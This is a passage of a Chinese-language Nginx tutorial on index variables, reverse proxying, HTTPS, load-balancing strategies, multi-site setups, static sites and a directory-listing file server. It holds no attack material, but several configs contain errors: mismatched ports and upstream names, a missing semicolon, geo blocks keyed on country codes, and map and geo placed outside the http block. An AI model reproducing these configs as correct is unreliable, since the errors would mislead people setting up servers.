            ## - 日文用户: index.ja.php  
            ## - 英文用户: index.en.php → index.php
        }
    }
}
```

**完整企业级配置示例**

```nginx
## 定义各种变量
geo $geo {
    default         global;
    CN              china;
    US              america;
    JP              japan;
    EU              europe;
}

map $http_user_agent $device {
    default                         "desktop";
    "~*mobile|android|iphone"      "mobile";
    "~*tablet|ipad"                "tablet";
    "~*bot|crawl|spider"           "bot";
}

map $http_accept_language $lang {
    default     "en";
    "~*zh"      "zh";
    "~*ja"      "ja";
    "~*ko"      "ko";
}

http {
    ## 动态首页优先级：
    ## 1. 地理位置+设备+语言组合
    ## 2. 地理位置+设备
    ## 3. 地理位置
    ## 4. 设备类型  
    ## 5. 默认动态页面
    ## 6. 默认静态页面
    index index.$geo-$device-$lang.html 
          index.$geo-$device.html 
          index.$geo.html 
          index.$device.html 
          index.$lang.php 
          index.php 
          index.html;
    
    server {
        server_name example.com;
        root /var/www/example.com;
        
        location / {
            ## 实际查找顺序示例：
            ## 中国移动用户: 
            ##   /index.china-mobile-zh.html
            ##   /index.china-mobile.html  
            ##   /index.china.html
            ##   /index.mobile.html
            ##   /index.zh.php
            ##   /index.php
            ##   /index.html
        }
    }
}
```

**文件结构示例**

```bash
/var/www/example.com/
├── index.china-mobile-zh.html    # 中国移动端中文版
├── index.china-mobile.html       # 中国移动端通用版  
├── index.china.html              # 中国区通用版
├── index.mobile.html             # 全局移动端版
├── index.zh.php                  # 中文动态版
├── index.php                     # 默认动态版
├── index.html                    # 最终回退版
└── assets/                       # 静态资源
```

**实际应用场景**

**1. 国际化网站**

```nginx
index index.$lang.$device.html index.$lang.html index.html;
## 文件: index.zh.mobile.html, index.en.desktop.html, index.jp.html
```

**2. A/B 测试**

```nginx
map $remote_addr $ab_group {
    default         "A";
    "~*1$"          "B";  # IP以1结尾的用户看到B版本
}

index index.$ab_group.html index.html;
## 文件: index.A.html (对照组), index.B.html (实验组)
```

**3. 企业内网外网区分**

```nginx
geo $network {
    default     "external";
    10.0.0.0/8  "internal";
    192.168.0.0/16 "internal";
}

index index.$network.html index.php index.html;
## 文件: index.internal.html (内网版), index.external.html (外网版)
```

**注意事项**

* **文件管理**：确保所有变量组合对应的文件都存在
* **回退机制**：最后一定要有默认文件（index.php/index.html）
* **性能考虑**：变量过多可能增加文件查找开销
* **测试验证**：充分测试各种场景下的文件查找逻辑
* **缓存策略**：对动态首页设置合适的缓存策略

### 现代定位总结

**业务逻辑归业务，基础设施归基础设施**，Nginx 应该专注于其核心优势，而非处理应该由应用层负责的业务逻辑。

现代架构的演进，SPA 时代的变革

```nginx
## 现代 SPA 配置（简单直接）
server {
    listen 80;
    server_name example.com;
    root /var/www/dist;
    
    ## 所有路由都返回 index.html，由前端路由处理
    location / {
        try_files $uri $uri/ /index.html;
    }
    
    ## API 代理到后端
    location /api/ {
        proxy_pass http://backend:3000;
    }
}
```

为什么 Nginx index 变量过时了

**1. 逻辑层转移**

* ✅ **现代方案**：路由逻辑在前端框架中（React Router、Vue Router）
* ✅ **服务端渲染**：在 Node.js/Next.js/Nuxt.js 层面处理
* ❌ **Nginx 方案**：静态文件匹配，无法实现复杂业务逻辑

**2. 动态化能力**

```js
// 现代方案 - 完全动态
// Next.js API 路由示例
export async function getServerSideProps(context) {
  const { req } = context;
  const userAgent = req.headers['user-agent'];
  const acceptLanguage = req.headers['accept-language'];
  const ip = req.socket.remoteAddress;
  
  // 从数据库获取个性化配置
  const personalizedConfig = await fetchPersonalizedConfig({
    userAgent,
    acceptLanguage, 
    ip,
    userId: req.user?.id
  });
  
  return { props: { personalizedConfig } };
}
```

**3. 维护性对比**

```nginx
## ❌ 传统 Nginx 配置（难以维护）
index index.$geo-$device-$lang.html index.$geo-$device.html ... [10个组合];

## 需要创建大量静态文件：
# index.china-mobile-zh.html
# index.china-mobile-en.html  
# index.us-desktop-en.html
# ... (几何级数增长)
```

```js
// ✅ 现代方案（集中管理）
// components/PersonalizedHomepage.jsx
export default function Homepage({ user }) {
  const getHomepageVariant = () => {
    if (user.region === 'CN' && user.device === 'mobile') {
      return <ChineseMobileHomepage />;
    }
    if (user.region === 'US' && user.preferences?.layout === 'minimal') {
      return <MinimalUSHomepage />;
    }
    return <DefaultHomepage />;
  };
  
  return getHomepageVariant();
}
```

**架构演进对比**

| 传统方案              | 现代方案                       |
| --------------------- | ------------------------------ |
| ❌ Nginx 变量动态路由  | ✅ 前端路由 (React/Vue Router)  |
| ❌ 静态文件组合匹配    | ✅ 服务端渲染 (Next.js/Nuxt.js) |
| ❌ 基于IP/UA的简单规则 | ✅ 数据库驱动的个性化           |
| ❌ 几何级数文件管理    | ✅ 代码逻辑动态生成             |

**Nginx 的正确角色**

```nginx
## 1. 静态资源服务
location /static/ {
    root /var/www;
    expires 1y;
}

## 2. API 反向代理
location /api/ {
    proxy_pass http://backend:3000;
}

## 3. 负载均衡
upstream backend {
    server 10.0.1.1:3000;
    server 10.0.1.2:3000;
}

## 4. SPA 路由回退
location / {
    try_files $uri $uri/ /index.html;
}
```

**现代技术栈分工**

**前端框架** → 路由管理、UI个性化

**后端应用** → 业务逻辑、数据个性化

**数据库** → 动态配置存储

**Nginx** → 高性能代理、静态服务、负载均衡

**总结要点**

1. **关注点分离**：Nginx 负责基础设施，应用负责业务逻辑
2. **灵活性**：代码层面的个性化远比静态文件匹配灵活
3. **可维护性**：集中业务逻辑，避免配置分散
4. **动态能力**：数据库驱动的实时配置更新
5. **开发体验**：现代框架提供的完整解决方案

Nginx 作为**高性能代理服务器**的定位很明确 - 把业务逻辑交给更适合的工具，各自发挥最大价值。

---

---
url: /nginx/pvxvgayf/index.md
---
## Nginx 简介

**Nginx** 是一款轻量级的 Web 服务器 、反向代理服务器及电子邮件（IMAP/POP3）代理服务器。

**什么是反向代理？**

反向代理（Reverse Proxy）方式是指以代理服务器来接受 internet 上的连接请求，然后将请求转发给内部网络上的服务器，并将从服务器上得到的结果返回给 internet 上请求连接的客户端，此时代理服务器对外就表现为一个反向代理服务器。

## Nginx 入门

### 基本控制命令

快速关闭 Nginx，可能不保存相关信息，并迅速终止 web 服务。

```bash
nginx -s stop
```

平稳关闭Nginx，保存相关信息，有安排的结束web服务。

```bash
nginx -s quit
```

因改变了Nginx相关配置，需要重新加载配置而重载，**平滑重载配置**（不会断开现有连接）

```bash
nginx -s reload
```

重新打开日志文件。

```bash
nginx -s reopen
```

指定自定义配置文件（默认用 conf/nginx.conf）

```bash
nginx -c filename
```

不运行，仅仅测试配置文件。nginx 将检查配置文件的语法的正确性，并尝试打开配置文件中所引用到的文件。

```bash
nginx -t  
```

> \[!IMPORTANT]
>
> `nginx -t` 是用于检测 Nginx 配置文件有效性的命令，输出的两行内容分别对应不同层面的检测结果：
>
> **第一行**：`nginx: the configuration file [路径] syntax is ok`
>
> **含义**：仅针对主配置文件（如示例中的 `/www/server/nginx/conf/nginx.conf`）本身进行语法校验，确认其没有语法错误（如指令格式、括号配对、参数书写等问题）。
>
> **第二行**：`nginx: configuration file [路径] test is successful`
>
> **含义**：对**整个配置体系**进行完整性检测。除主配置文件外，还会加载所有通过 `include` 指令引入的子配置文件（如站点配置、模块配置等），确认整个配置集合逻辑通顺、可正常运行。
>
> 简言之，第一行验证 “主文件语法正确”，第二行验证 “主文件 + 所有关联配置整体有效”。两者都显示 `ok` 或 `successful` 时，说明配置可安全重载（`nginx -s reload`）。

设置 nginx 的工作目录（conf、logs 等目录相对该路径）

```bash
nginx -p C:\nginx\
```

显示 nginx 的版本。

```bash
nginx -v
```

显示 nginx 的版本，编译器版本和配置参数。

```bash
nginx -V
```

如果不想每次都敲命令，可以在 nginx 安装目录下新添一个启动批处理文件**startup.bat**，双击即可运行。内容如下：

```batch
@echo off
rem 如果启动前已经启动nginx并记录下pid文件，会kill指定进程
nginx.exe -s stop

rem 测试配置文件语法正确性
nginx.exe -t -c conf/nginx.conf

rem 显示版本信息
nginx.exe -v

rem 按照指定配置去启动nginx
nginx.exe -c conf/nginx.conf
```

### 调试相关命令

全局覆盖配置指令，例如 `daemon off;` 可以让 nginx 前台运行（方便调试 Docker/PowerShell 观察日志）

```bash
nginx -g "daemon off;"
```

测试不同目录和配置文件，不修改默认路径即可临时切换配置

```bash
nginx -p C:\nginx\ -c conf/nginx.conf
```

测试指定配置语法

```bash
nginx -t -c conf/test.conf
```

**注意**：在修改配置之前或之后总是 `nginx.exe -t`，避免启动失败。

**如果无法关闭**？

找到 nginx 进程 PID：

```bash
tasklist | findstr nginx
```

输出示例：

```bash
nginx.exe                  1234 Console                    1     5,000 K
nginx.exe                  5678 Console                    1     5,000 K
```

强制杀掉：

```bash
taskkill /F /PID 1234
taskkill /F /PID 5678
```

Windows 上 nginx 有 master + worker 进程，通常两个以上进程，要全部 kill 才彻底关闭。

## Nginx 实战

### http 反向代理

`nginx.conf` 配置文件如下：

```nginx
#运行用户
#user somebody;

#启动进程,通常设置成和cpu的数量相等
worker_processes  1;

#全局错误日志
error_log  logs/error.log;
error_log  logs/notice.log  notice;
error_log  logs/info.log  info;

#PID文件，记录当前启动的nginx的进程ID
pid        logs/nginx.pid;

#工作模式及连接数上限
events {
    worker_connections 1024;    #单个后台worker process进程的最大并发链接数
}

#设定http服务器，利用它的反向代理功能提供负载均衡支持
http {
    #设定mime类型(邮件支持类型),类型由mime.types文件定义
    include       mime.types;
    default_type  application/octet-stream;

    #设定日志
	log_format  main  '[$remote_addr] - [$remote_user] [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log    logs/access.log main;
    rewrite_log     on;

    #sendfile 指令指定 nginx 是否调用 sendfile 函数（zero copy 方式）来输出文件，对于普通应用，
    #必须设为 on,如果用来进行下载等应用磁盘IO重负载应用，可设置为 off，以平衡磁盘与网络I/O处理速度，降低系统的uptime.
    sendfile        on;
    #tcp_nopush     on;

    #连接超时时间
    keepalive_timeout  120;
    tcp_nodelay        on;

	#gzip压缩开关
	#gzip  on;

    #设定实际的服务器列表
    upstream yu_server1{
        server 127.0.0.1:3000;
    }

    #HTTP服务器
    server {
        #监听80端口，80端口是知名端口号，用于HTTP协议
        listen       80;

        #定义使用www.xx.com访问
        server_name  www.helloworld.com;

		#首页
		index index.html

		#指向webapp的目录
		root main\webapp;

		#编码格式
		charset utf-8;

		#代理配置参数
        proxy_connect_timeout 180;
        proxy_send_timeout 180;
        proxy_read_timeout 180;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarder-For $remote_addr;

        #反向代理的路径（和upstream绑定），location 后面设置映射的路径
        location / {
            proxy_pass http://yu_server1;
        }

        #静态文件，nginx自己处理
        location ~ ^/(images|javascript|js|css|flash|media|static)/ {
            root main\webapp\views;
            #过期30天，静态文件不怎么更新，过期可以设大一点，如果频繁更新，则可以设置得小一点。
            expires 30d;
        }

        #设定查看Nginx状态的地址
        location /NginxStatus {
            stub_status           on;
            access_log            on;
            auth_basic            "nginxstatus";
            auth_basic_user_file  htpasswd;
        }

        #禁止访问 .htxxx 文件
        location ~ /\.ht {
            deny all;
        }

		#错误处理页面（可选择性配置）
		#error_page   404              /404.html;
		#error_page   500 502 503 504  /50x.html;
        #location = /50x.html {
        #    root   html;
        #}
    }
}
```

**`root main\webapp`** 这是告诉 **Nginx** 静态文件的根目录，主要用于 Nginx 自己直接处理静态文件（比如 `.html`、`.js`、`.css`、图片等）。

proxy\_pass http://yu\_server1 这是 **反向代理**，也就是说当访问匹配到这个规则的路径时，Nginx 不自己处理，而是把请求转发到 **upstream yu\_server1** 对应的后端服务器，这里是 `127.0.0.1:8089`。

```nginx
location / {
    proxy_pass http://zp_server1;
}
```

你访问 `http://www.helloworld.com/` 或其他 `/` 开头的路径。

Nginx 会把请求 **全部转发给 `127.0.0.1:8089`**。

所以你看到的内容，是 **8089端口后端服务器的内容**，不是 `main\webapp` 目录的文件。

```nginx
location ~ ^/(images|javascript|js|css|flash|media|static)/ {
    root main\webapp\views;
    expires 30d;
}
```

匹配 `/images/...`、`/js/...`、`/css/...` 这样的请求。

这类请求 **Nginx 自己直接读取本地磁盘**的文件，并返回给客户端。

所以这些请求看到的内容，是 **`main\webapp\views` 下的文件**。

**特殊路径 `/NginxStatus` 和 `.ht` 文件**

* `/NginxStatus` → 查看 Nginx 状态，不经过代理。
* `.ht` 文件 → 被 `deny all;` 禁止访问。

1. 启动 webapp，注意启动绑定的端口要和 nginx 中的 `upstream` 设置的端口保持一致。
2. 更改 host：在 C:\Windows\System32\drivers\etc 目录下的 host 文件中添加一条 DNS 记录

```
127.0.0.1 www.helloworld.com
```

3. 启动 Nginx
4. 在浏览器中访问 www.helloworld.com，不出意外，已经可以访问了。

### https 反向代理

对于一些对安全性要求较高的站点，通常会使用 **HTTPS**（基于 SSL/TLS 的安全 HTTP 协议）进行通信。使用 Nginx 配置 HTTPS 需要注意以下几点：

**端口号**
HTTPS 默认使用 **443** 端口，不同于 HTTP 的 80 端口。

**安全证书**
HTTPS 需要使用 **SSL 证书**来加密通信，因此在 `nginx.conf` 中必须指定证书文件和对应的私钥。

**配置方式**
HTTPS 的反向代理与 HTTP 基本相同，只是在 `server` 配置块中增加了 SSL 相关参数。

```nginx
server {
    # 监听 443 端口，启用 SSL
    listen       443 ssl;

    # 站点域名
    server_name  www.helloworld.com;

    # SSL 证书及私钥
    ssl_certificate      cert.pem;
    ssl_certificate_key  cert.key;

    # 可选的 SSL 参数
    ssl_session_cache    shared:SSL:1m;
    ssl_session_timeout  5m;
    ssl_ciphers          HIGH:!aNULL:!MD5;
    ssl_prefer_server_ciphers  on;

    # 站点根目录
    location / {
        root   /root;
        index  index.html index.htm;
    }
}
```

**说明：**

* `ssl_certificate`：SSL 证书文件路径，常见格式为 `.crt` 或 `.pem`。
* `ssl_certificate_key`：证书对应的私钥文件。
* `ssl_ciphers`：加密套件，可根据安全需求进行调整。
* `ssl_prefer_server_ciphers on;`：优先使用服务器定义的加密套件。
* 其他 HTTPS 配置与 HTTP 配置类似，例如 `location`、`root`、`index` 等。

## 负载均衡

```mermaid
graph LR
    %% 用户请求入口
    A[用户请求 User Clients] -->|HTTP/HTTPS| B[负载均衡器 Load Balancer]

    %% Nginx 内部 Worker
    subgraph Nginx_Layer
        B -->|轮询| C[Nginx Worker进程]
        B -. 健康检查 .-> HC[健康检查模块 Health Module]
    end

    %% 后端服务器集群
    subgraph App_Servers
        C -->|正常| D[应用服务器1]
        C -. 故障剔除 .-> E[应用服务器2]
        C -->|正常| F[应用服务器3]
    end

    %% 数据层
    subgraph Database_Layer
        D --> G[(数据库)]
        F --> G
        E -. 连接失败 .-> G
    end

```

假设我们有一个 Web 应用部署在三台 Linux 服务器上，IP 和端口分别为：

* `192.168.1.11:80`
* `192.168.1.12:80`
* `192.168.1.13:80`

网站域名为 `www.helloworld.com`，公网 IP 为 `192.168.1.11`。我们将在公网 IP 所在的服务器上部署 **Nginx**，作为反向代理和负载均衡器，处理所有来自客户端的请求。

本示例使用 **加权轮询（weighted round-robin）** 策略来分配请求，权重越高的服务器收到请求的几率越大。

```nginx
http {
    # MIME 类型配置，类型定义在 mime.types 文件中
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    # 日志配置
    access_log    /var/log/nginx/access.log;

    # 负载均衡的后端服务器列表
    upstream load_balance_server {
        # 权重配置，权值越高被分配到的请求越多
        server 192.168.1.11:80   weight=5;
        server 192.168.1.12:80   weight=1;
        server 192.168.1.13:80   weight=6;
    }

    # HTTP 服务配置
    server {
        # 监听 80 端口
        listen       80;

        # 绑定域名
        server_name  www.helloworld.com;

        # 负载均衡代理所有请求
        location / {
            # 定义网站根目录
            root        /root;
            # 默认首页文件
            index       index.html index.htm;
            # 转发请求到 upstream 定义的服务器
            proxy_pass  http://load_balance_server;

            # 反向代理头信息配置（可选但推荐）
            proxy_set_header Host $host;                  # 保留原始请求的 Host
            proxy_set_header X-Real-IP $remote_addr;      # 后端可获取客户端真实 IP
            proxy_set_header X-Forwarded-For $remote_addr;

            # 代理超时设置
            proxy_connect_timeout 90s;   # 与后端建立连接超时时间
            proxy_send_timeout 90s;      # 向后端发送请求超时时间
            proxy_read_timeout 90s;      # 等待后端响应超时时间

            # 缓冲区设置（根据实际页面大小和并发调整）
            proxy_buffer_size 4k;
            proxy_buffers 4 32k;
            proxy_busy_buffers_size 64k;
            proxy_temp_file_write_size 64k;

            # 客户端请求限制
            client_max_body_size 10m;      # 允许客户端上传文件的最大大小
            client_body_buffer_size 128k;  # 缓冲客户端请求体大小
        }
    }
}
```

### 负载均衡策略

Nginx 提供了多种负载均衡策略，不同策略适合不同的应用场景，原理在各种分布式系统中基本一致。

#### 轮询（Round Robin）

**配置示例：**

```nginx
upstream bck_testing_01 {
    server 192.168.250.220:8080;
    server 192.168.250.221:8080;
    server 192.168.250.222:8080;
}
```

**特点：**

* 默认所有服务器权重相同（weight=1）。
* 每次请求依次分配给下一台服务器。
* 简单易用，适合后端性能相近的场景。

#### 加权轮询（Weighted Round Robin）

```nginx
upstream bck_testing_01 {
    server 192.168.250.220:8080   weight=3;
    server 192.168.250.221:8080;  # 默认权重为 1
    server 192.168.250.222:8080;  # 默认权重为 1
}
```

**特点：**

* 可以根据服务器性能分配权重，权值越高，分配到的请求越多。
* 适合服务器性能不均衡的集群。

#### 最少连接（Least Connections）

```nginx
upstream bck_testing_01 {
    least_conn;

    server 192.168.250.220:8080;
    server 192.168.250.221:8080;
    server 192.168.250.222:8080;
}
```

**特点：**

* 优先把请求分配给当前活动连接数最少的服务器。
* 动态分配，更适合处理请求处理时间差异较大的场景。

#### 加权最少连接（Weighted Least Connections）

```nginx
upstream bck_testing_01 {
    least_conn;

    server 192.168.250.220:8080   weight=3;
    server 192.168.250.221:8080;  # 默认权重为 1
    server 192.168.250.222:8080;  # 默认权重为 1
}
```

**特点：**

* 在最少连接的基础上加权，性能强的服务器承载更多请求。
* 对于后端性能差异明显且请求处理时间不均匀的集群更合理。

#### IP Hash

```nginx
upstream bck_testing_01 {
    ip_hash;

    server 192.168.250.220:8080;
    server 192.168.250.221:8080;
    server 192.168.250.222:8080;
}
```

**特点：**

* 根据客户端 IP 地址计算哈希值，将请求固定分配给某台服务器。

* 保证同一用户的请求总是访问同一台服务器（会话粘性）。

**注意**：后端服务器上下线会改变哈希分配，需要配合健康检查。

#### 普通 Hash（按请求 URI）

```nginx
upstream bck_testing_01 {
    hash $request_uri;

    server 192.168.250.220:8080;
    server 192.168.250.221:8080;
    server 192.168.250.222:8080;
}
```

**特点：**

* 根据请求 URI 或自定义变量生成哈希值分配请求。
* 常用于静态资源或缓存路由，保证相同 URI 请求总是访问同一台后端。
* 对会话或动态数据不敏感，适合内容固定的分发场景。

## 多 Webapp

当一个网站功能越来越丰富时，通常会将一些相对独立的功能模块 **拆分成独立的 Webapp**，便于独立开发、部署和维护。

举例来说，假设 `www.helloworld.com` 有三个 Webapp：

* **finance**（金融模块）
* **product**（产品模块）
* **admin**（用户中心）

用户访问方式通过上下文（Context Path）区分：

```nginx
www.helloworld.com/finance/
www.helloworld.com/product/
www.helloworld.com/admin/
```

**端口与反向代理问题**

* HTTP 默认端口是 80，如果在同一台服务器上启动三个 Webapp，都用 80 端口，会产生端口冲突。
* 因此每个 Webapp 需要绑定 **不同端口**：

| Webapp  | 内部端口 |
| ------- | -------- |
| product | 8081     |
| admin   | 8082     |
| finance | 8083     |

* **用户访问时不希望带端口号**，这时可以使用 **Nginx 反向代理**：通过上下文路径，将请求转发到对应端口的 Webapp。

```nginx
http {
    # upstream 定义各 Webapp 对应的后端服务器
    upstream product_server {
        server 127.0.0.1:8081;   # 产品模块
    }

    upstream admin_server {
        server 127.0.0.1:8082;   # 用户中心模块
    }

    upstream finance_server {
        server 127.0.0.1:8083;   # 金融模块
    }

    server {
        listen 80;
        server_name www.helloworld.com;

        # 默认访问根路径，指向产品模块
        location / {
            proxy_pass http://product_server;
        }

        # 各 Webapp 的上下文路径映射
        location /product/ {
            proxy_pass http://product_server;
        }

        location /admin/ {
            proxy_pass http://admin_server;
        }

        location /finance/ {
            proxy_pass http://finance_server;
        }

        # 可选：反向代理头信息配置
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
```

**upstream 定义**

* 每个 Webapp 使用不同端口或不同服务器实例。
* 可灵活配置负载均衡策略（轮询、加权轮询等）。

**location 路径匹配**

* `/` 根路径通常指向默认 Webapp（示例中是 `product`）。
* `/product/`、`/admin/`、`/finance/` 通过上下文路径映射到对应 Webapp。

**端口透明**

* 用户无需在 URL 中输入端口号，由 Nginx 在内部完成端口映射。

**反向代理头信息**

* `X-Real-IP`、`X-Forwarded-For` 让后端 Webapp 获取客户端真实 IP。
* `Host` 保留原始域名，便于后端进行虚拟主机判断或生成 URL。

**扩展与优化**

* 可为每个 Webapp 配置独立缓存、负载均衡策略。
* 对不同 Webapp 可以设置不同的超时、缓冲区、访问限制策略。

通过 **Nginx 反向代理 + 上下文路径 + 不同端口的独立 Webapp**，可以轻松实现一个网站多个模块的独立部署，同时对用户透明，保证访问体验和维护灵活性。

## 多网站部署

在现代部署中，一台服务器上通常只运行 **一个 Nginx 实例**，负责接收所有 HTTP/HTTPS 请求。

不同网站或 Webapp 通过 **独立的 `server` 模块** 来区分，而不是把所有逻辑写在同一个 server 里。

```nginx
http {
    server {
        listen 80;
        server_name www.helloworld.com;
        # Webapp 或反向代理配置...
    }

    server {
        listen 80;
        server_name www.example.com;
        # 另一网站的配置...
    }

    server {
        listen 80;
        server_name www.test.com;
        # 第三网站配置...
    }
}
```

* 每个 `server` 块相当于 **独立的网站入口**，可以单独配置反向代理、静态资源路径、缓存、日志等。
* 当请求到达 Nginx 时，会根据 `Host` 字段匹配到对应的 `server`，实现不同网站的独立访问。

对于一个网站内部有多个功能模块（Webapp）的情况：

* 现代做法也倾向于在 **同一个 server 块内部**，用 **上下文路径（location）** 或单独的 `upstream` 配置进行反向代理。
* 每个 Webapp 绑定不同端口或运行在不同容器/服务上，通过反向代理透明访问。

```nginx
server {
    listen 80;
    server_name www.helloworld.com;

    location /product/ {
        proxy_pass http://127.0.0.1:8081;
    }

    location /admin/ {
        proxy_pass http://127.0.0.1:8082;
    }

    location /finance/ {
        proxy_pass http://127.0.0.1:8083;
    }
}
```

* 用户访问时无需带端口号，Nginx 内部完成端口映射。
* 每个 Webapp 可独立维护，升级或部署互不影响。

***

对于大型应用或多租户网站，**现代生产环境往往结合容器化部署**（Docker、K8s）：

* 每个 Webapp 在容器内运行，端口自由分配；
* Nginx 统一反向代理外部请求；
* 可以实现 **服务发现 + 自动负载均衡 + 弹性扩容**。

单台服务器只运行一个 Nginx 实例，避免端口冲突，同时提高维护和监控效率。

## upstream 和 proxy\_pass

在 Nginx 中，可以通过两种方式将请求转发到后端 Webapp：

1. **通过 `upstream` 定义后端服务器**
2. **直接在 `location` 使用 IP:Port**

**使用 `upstream` + `proxy_pass`**

```nginx
upstream product_server {
    server 127.0.0.1:8081;
}

location /product/ {
    proxy_pass http://product_server;
}
```

**可扩展性强**

支持多台后端服务器，方便负载均衡：

```nginx
upstream product_server {
    server 127.0.0.1:8081 weight=2;
    server 127.0.0.1:8084 weight=1;
}
```

**支持负载均衡策略**

轮询（Round Robin）、加权轮询（Weighted Round Robin）、最少连接（Least Connections）、IP Hash 等。

**健康检查**

可以与 Nginx Plus 或第三方模块结合，实现服务器健康检查和自动剔除故障节点。

**统一管理**

后端服务器配置集中，方便维护和修改。

**适用场景**

大型 Webapp、多实例部署、容器化环境、需要高可用和负载均衡。

**直接在 `location` 使用 IP:Port**

```nginx
location /product/ {
    proxy_pass http://127.0.0.1:8081;
}
```

**简单直观**

适合单实例 Webapp，配置简单。

**不可扩展负载均衡**

后端增加多台服务器时，需要修改所有 `location` 配置。

**维护成本高**

后端 IP/端口变动，需要修改多个 `location`。

**不支持负载均衡或健康检查**

**适用场景**

小型、单实例 Webapp 或测试环境。

**总结**

* **单实例、简单部署** → 可直接使用 IP:Port。
* **多实例、负载均衡、容器化** → 强烈推荐使用 `upstream` + `proxy_pass`，统一管理，易扩展。

## 静态站点

假设静态资源都放在 `/app/dist` 目录下，Nginx 配置如下：

```nginx
worker_processes  1;

events {
    worker_connections  1024;
}

http {
    include       mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    gzip on;
    gzip_types text/plain application/x-javascript text/css application/xml text/javascript application/javascript image/jpeg image/gif image/png;
    gzip_vary on;

    server {
        listen       80;
        server_name  static.zp.cn;

        location / {
            root /app/dist;
            index index.html;
            # 可选择配置 SPA 路由重写
        }
    }
}

```

**部署 MPA（多页应用）的注意事项**

**目录结构**

每个页面有独立的 HTML 文件，例如：

```nginx
/app/dist
  ├─ index.html
  ├─ about.html
  ├─ contact.html
  └─ css/
  └─ js/
```

**location 配置**

默认访问 `/` 时指向 `index.html`，其他页面直接访问对应 HTML 文件：

```nginx
location / {
    root /app/dist;
    index index.html;
}

location /about/ {
    root /app/dist;
    index about.html;
}
```

**SEO & 缓存**

* MPA 更适合 SEO，因为每个页面都有独立 URL。
* 可为静态资源配置缓存：

```nginx
location ~* \.(js|css|png|jpg|gif|ico)$ {
    expires 30d;
    add_header Cache-Control "public";
}
```

MPA（多页应用）在 Nginx 默认配置下会 **按照文件系统结构映射 URL 路径**

假设你的静态站点目录如下：

```nginx
/app/dist/
├─ index.html
├─ about.html
├─ contact.html
├─ css/
├─ js/
```

```nginx
server {
    listen 80;
    server_name www.example.com;

    root /app/dist;
    index index.html;
}
```

**映射规则**

* 访问 `/` → 返回 `/app/dist/index.html`
* 访问 `/about.html` → 返回 `/app/dist/about.html`
* 访问 `/contact.html` → 返回 `/app/dist/contact.html`
* 访问 `/css/style.css` → 返回 `/app/dist/css/style.css`

**注意**：路径是 **URL 对应文件系统相对路径**。Nginx 会把 URL 去掉域名后的路径拼接到 `root` 上查找文件。

**路径必须匹配文件名**：如果你想访问 `/about/` 而不是 `/about.html`，需要添加 `index` 或使用重写：

```nginx
location /about/ {
    root /app/dist;
    index about.html;
}
```

否则访问 `/about/` 会返回 404。

假设你有子目录 `/blog/post1.html`，访问 `/blog/post1.html` 就会映射到 `/app/dist/blog/post1.html`。

MPA 默认不会自动去掉 `.html` 扩展名，需要 `try_files` 或 `rewrite` 才能实现 `/about` 映射到 `/about.html`：

```nginx
location / {
    try_files $uri $uri.html =404;
}
```

**部署 SPA（单页应用）的注意事项**

**路由重写**：SPA 通过前端路由管理页面，刷新或直接访问非 `/` 路径时，服务器默认找不到对应 HTML，需要将所有路径转发到 `index.html`：

```nginx
location / {
    root /app/dist;
    index index.html;
    try_files $uri /index.html;
}
```

`try_files $uri /index.html;` 会先尝试访问实际文件，如果不存在则返回 `index.html`。

**缓存策略**

* 对 JS、CSS、图片等静态资源可开启长期缓存。
* 对 `index.html` 设置较短缓存，避免用户访问到旧版本页面：

```nginx
location /index.html {
    expires 1h;
}
```

**gzip & 压缩**

开启 gzip 压缩，提高静态资源传输效率（已在示例配置中开启）。

**安全性**

禁止访问隐藏文件或敏感目录：

```nginx
location ~ /\. {
    deny all;
}
```

可限制请求方法，仅允许 GET、HEAD：

```nginx
limit_except GET HEAD { deny all; }
```

配置访问日志与错误日志，便于调试：

```nginx
access_log /var/log/nginx/static_access.log;
error_log /var/log/nginx/static_error.log;
```

对静态站点，也可使用 `upstream` + 多服务器负载均衡，提高访问性能和高可用性。

**HTTP/2 与 SSL**

如果部署在公网，推荐开启 HTTPS 与 HTTP/2：

```nginx
listen 443 ssl http2;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
```

**前端构建优化**：SPA 部署时，通常使用 Webpack、Vite 等打包工具生成带 Hash 的文件名，结合缓存策略，提高加载速度。

## 文件服务器

在 **Nginx 上快速搭建一个简易文件服务器** 的配置，主要用途是让一个目录下的文件和文件夹可以通过浏览器直接访问和浏览。你可以把它理解为一个“**轻量级的文件共享服务**”，类似 Windows 的共享文件夹或者 FTP，但通过 HTTP 访问。

**配置功能**

| 配置项                     | 作用                                                         |
| -------------------------- | ------------------------------------------------------------ |
| `autoindex on;`            | 打开目录浏览，浏览器可以看到文件和文件夹列表。默认是关闭的。 |
| `autoindex_exact_size on;` | 显示文件大小，单位 B/KB/MB 等。                              |
| `autoindex_localtime on;`  | 显示文件的最后修改时间。                                     |
| `root /share/fs;`          | 设置对外开放的目录根路径，即文件服务器目录。                 |
| `charset utf-8,gbk;`       | 设置页面字符编码，避免中文乱码（Linux 下 UTF-8 正常，Windows 下 GBK 仍可能乱码）。 |
| `listen 9050;`             | 指定 HTTP 端口，方便文件服务不和网站端口冲突。               |

**示例配置**

```nginx
autoindex on;                # 显示目录
autoindex_exact_size on;     # 显示文件大小
autoindex_localtime on;      # 显示文件修改时间

server {
    charset      utf-8,gbk;  # 字符集，避免中文乱码
    listen       9050 default_server;
    listen       [::]:9050 default_server;
    server_name  _;           # 默认 server
    root         /share/fs;   # 文件服务目录
}
```

打开浏览器访问 `http://<服务器IP>:9050/` 即可浏览 `/share/fs` 目录下的文件和文件夹。

可以直接下载文件，类似一个轻量版 HTTP 文件共享服务。

**安全性**：默认开启目录浏览可能导致敏感信息泄露，最好在内部网络使用或者加上访问控制：

```nginx
location / {
    autoindex on;
    auth_basic "Restricted";
    auth_basic_user_file /etc/nginx/.htpasswd;
}
```

Linux 下 UTF-8 正常显示，Windows 下 GBK 编码的文件名可能仍乱码，解决方法可能需要在 Windows 上统一 UTF-8 文件名或使用文件名转码工具。

简易文件服务适合小型团队使用，不适合高并发或大文件传输场景，如果需要高性能可考虑专业的文件服务器或 CDN。

## 跨域（CORS）

